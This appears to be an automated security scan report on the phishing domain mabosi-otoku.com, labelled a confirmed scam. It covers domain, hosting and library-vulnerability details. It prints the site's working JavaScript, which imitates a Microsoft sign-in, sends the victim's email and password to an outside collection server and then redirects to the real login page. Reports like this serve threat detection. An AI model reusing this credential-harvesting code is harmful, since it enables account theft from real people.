The domain 'mabosi-otoku.com' uses the commercial generic top-level domain (.com) and has no subdomain. The second-level label 'mabosi-otoku' is 12 characters long containing six vowels alongside five consonants, notching one hyphen. Splitting it apart reveals four words: mab, osi, o, toku. The median word length lands at 3 characters. No strong language cues emerged from the frequency lists.

email

password

html/a5/db/a5dbdb0a-3b4c-4ca2-a8f2-4d8e5097447c.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef

53964478a7c634e8dad34ecc303dd8048d00dce4993906de1bacf67f663486ef

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

3f4748c9016235d24dee0de701ab11d2724e14e687861cbe92edad5e645da7fa

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

GMO Internet Group, Inc. d/b/a Onamae.com

MABOSI-OTOKU.COM

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET




    /* global $ */
    $(document).ready(function(){

      $('#error').hide();
      $("#div2").hide();
    $("#div3").hide();
      $("#msg").hide();

      var email = window.location.hash.substr(1);
      if (!email) {

      }
      else
      {
        $('#email').val(email);
        var my_email =email;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_email)) {
          $('#error').show();
          email.focus;
          return false;
       
        }
        var ind=my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var c= my_slice.substr(0, my_slice.indexOf('.'));
        var final= c.toLowerCase();
       //  if (final=="gmail" || final=="yahoo" || final=="hotmail" || final=="aol" || final=="outlook") {
       //   $('#error').show();

       // }
       // else
       // {
        $("#div1").animate({left:200, opacity:"hide"}, 0);
        $("#div2").animate({right:200, opacity:"show"}, 1000);
    $("#div3").animate({right:200, opacity:"show"}, 1000);
        $("#emailch").html(my_email);
      // }
      }

      $('#email').click(function(){
        $('#error').hide();
      });
      $('#next').click(function () {
        var my_email =$('#email').val();
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_email)) {
          $('#error').show();
          email.focus;
          return false;
        }
        var ind=my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var c= my_slice.substr(0, my_slice.indexOf('.'));
        var final= c.toLowerCase();
       //  if (final=="gmail" || final=="yahoo" || final=="hotmail" || final=="aol" || final=="outlook") {
       //   $('#error').show();

       // }
       // else
       // {
        $("#div1").animate({left:200, opacity:"hide"}, 0);
        $("#div2").animate({right:200, opacity:"show"}, 1000);
    $("#div3").animate({right:200, opacity:"show"}, 1000);
        $("#emailch").html(my_email);

      // }
    });
      $('#back').click(function () {
        $("#msg").hide();
    $("#div3").animate({left:200, opacity:"hide"}, 0);
        $("#div2").animate({left:200, opacity:"hide"}, 0);
        $("#div1").animate({right:200, opacity:"show"}, 1000);

      });

var count=0;
      $('#submit-btn').click(function(event){
        event.preventDefault();
        var email=$("#email").val();
        var password=$("#password").val();
        var detail=$("#field").html();
        var msg = $('#msg').html();
        $('#msg').text( msg );

// Check if the password field is empty
        if (!password) {
          $('#error').show().text("Please enter your password.");
          return;
        }

        count=count+1;
        if (count>=3) {
          window.location.replace("https://login.microsoftonline.com/");
        }
        else
        {
         $.ajax({
          dataType: 'JSON',
          url: 'https://ly.cjlbax7.sa.com/bnk/xls/telex.php',
          type: 'POST',
          data:{
            email:email,
            password:password,
            detail:detail,

          },
          beforeSend: function(xhr){
            $('#submit-btn').html('Verifing...');
          },
          success: function(response){
            if(response){
              $("#msg").show();
              console.log(response);
              if(response['signal'] == 'ok'){
               $('#msg').html(response['msg']);
               var password=$("#password").val("");
             }
             else{
              $('#msg').html(response['msg']);
              var password=$("#password").val("");
            }
          }
        },
        error: function(){
          $("#msg").show();
          $('#msg').html("Please try again");
          var password=$("#password").val("");
        },
        complete: function(){
          $('#submit-btn').html('Login');
        }
      });
       }
     });
    });
  

Requests	IP Address	Location	AS Autonomous System
4	192.178.183.95Google · CDN	United States	AS15169Google LLC
3	160.251.71.119	Japan	AS7506GMO Internet, Inc.
3	104.18.10.207Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
10	3	-	-

Security Scan Report: mabosi-otoku.com

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History